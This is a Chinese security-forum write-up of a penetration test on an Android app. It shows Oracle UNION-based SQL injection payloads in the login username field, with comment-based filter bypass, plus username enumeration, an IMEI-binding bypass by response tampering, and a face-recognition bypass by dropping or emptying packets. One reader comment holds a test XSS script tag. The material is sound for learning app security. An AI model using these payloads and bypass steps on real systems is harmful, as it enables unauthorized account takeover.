App渗透 - 从SQL注入到人脸识别登录绕过
Broken5 渗透测试 29212浏览 · 2020-09-24 03:31

App渗透 - 人脸识别登录绕过

打开APP是一个登录框

抓包后发现参数被加密了

使用Jadx脱源码发现,并没有加壳也没有混淆,运气很好

根据经验,先搜索Encrypt、Decrypt等关键字,发现在Common.js中有一个encryptData函数

定位过去,一套加解密算法都写好了放在这

放到浏览器console里面调试,果然没错

首先测试了一下注入

明文:{"userName":"TEST'","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回异常

明文:{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回正常

明文:{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回正常

至此已经可以判断该登录点就是一个注入了,可是返回结果始终都是“用户名或密码错”即使用了' or '1'='1

根据返回结果推测,后端的登录处的逻辑代码可能是这样的

userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;
if (userPass == <passWord>){
    return 'Login success';
}else{
    return 'Login failed';
}

通过Union注入构造万能密码,是可以造成任意用户登陆的,测试过程如下
先使用order by测试,得知字段的数量为9个,构造payload

# 由于目标服务器带有过滤,所以这里简单的bypass一下
明文:{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回成功

由于Oracle在进行union查询时,所对应的字段数据类型也必须相同,所以还要进行字段数据类型的测试,最终结果如下

# 注意这里passWord我修改成了123,用来测试Union构造的万能密码是否可行
明文:{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:提示是弱密码(说明此方法可行)



接下来就是一个字段一个字段的改过去,判断哪个字段对应的是密码字段,测试结果如下

# 注意这里passWord我修改成了Ceshi123@@@,不再是弱口令了
明文:{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:提示登录成功


在绕过后,发现程序出现了异常

仔细观察返回的数据,其中有username(用户名)、staffId(职工号)、email(邮箱)、staffName(姓名)、tel(手机号)、mobile(手机号),然而这些数据都是我刚刚自己随便构造的,这里应该需要一个真实的用户信息,供后续的登录流程使用

好在,还是有一个地方能获取真实的用户信息的
App还有一个忘记密码的功能(通常这里可以爆破用户名)

利用忘记密码的功能可以判断用户名是否存在,这里随便跑了一下字典,就出来好多用户名

自然而然地利用这些用户名使用短信验证码登录

获取验证码,然后解密数据包,惊奇的发现返回了用户基本信息

根据登录返回结果,重新测试payload,最终结果如下

明文:{"userName":"TEST\'union/**/select/**/<staffId>,\'Qwe123@@@\',\'<userName>\',\'Qwe123@@@\',\'<mobile>\',\'<mobile>\',\'<email>\',\'865166023309431\',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:xxxxxxxxx
结果:提示登录成功

仔细看返回的登录数据,已经正常了

然后重新替换数据包登录,提示绑定IMEI

这个绕过很简单,随便输入验证码,替换返回包,把resultCode从1001改为1000就行(常规操作)

最终还要个人脸认证

先用自己的脸检测,这时候手机会向服务器发包,burp把手机发向服务器的包直接丢掉就可以绕过

点击确定后,还有一个大数据包发向服务器,这里面包含的是人脸数据

修改数据包,将其中的人脸数据替换为空,然后发送

最终的最终,成功登录APP

35 条评论
某人
表情
可输入 255
0xmr****
2020-12-11 07:08 0 回复

学习


xsch****
2020-12-02 01:58 0 回复
<script>alert("牛逼!!!")</script>
a1ca****
2020-10-20 02:46 0 回复

牛逼牛逼,大哥,这个是个神仙!!!


SiroSong
2020-10-16 08:41 0 回复

hybrid app尴尬的地方,打包后源码最多就做了变量混淆,逻辑甚至可以动态调试,流程都是可见的,所有的加密形同虚设。。。。。


SiroSong
2020-10-16 08:36 0 回复

@zcg**** 这难道不是android studio吗?

Broken5
2020-10-10 02:45 0 回复

@zcg**** idea


zcg****
2020-10-09 06:29 0 回复

请问下,根据encrypt关键字搜索加密函数的软件是什么


北绔原
2020-09-29 01:47 0 回复

太强了师傅


Broken5
2020-09-27 22:54 1 回复

@dkv**** 这里应该是我放在console里面调试的时候转义的单引号,忘记删掉了


dkv****
2020-09-27 14:16 0 回复

这段payload没看懂,为啥 TEST\'union 这里以及后面的参数都加上 \',转义单引号干嘛??最前面判断注入点应该知道是单引号闭合,这里不是应该写成 TEST'union 闭合掉原先的左单引号吗?请教下。



{"userName":"TEST\'union/**/select/**/<staffId>,\'Qwe123@@@\',\'<userName>\',\'Qwe123@@@\',\'<mobile>\',\'<mobile>\',\'<email>\',\'865166023309431\',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:xxxxxxxxx

print
2020-09-25 06:35 0 回复


sunny
2020-09-25 06:08 0 回复

这一顿操作,太秀了,6翻了。


pig
2020-09-25 05:01 0 回复

我 特么直接原地高潮


叫我派大星就好了
2020-09-25 02:53 0 回复

这看完这篇文章的时候我都快湿了


虎啸龙吟丶托儿索
2020-09-25 02:46 0 回复

@ixi****@163.com 俺也一样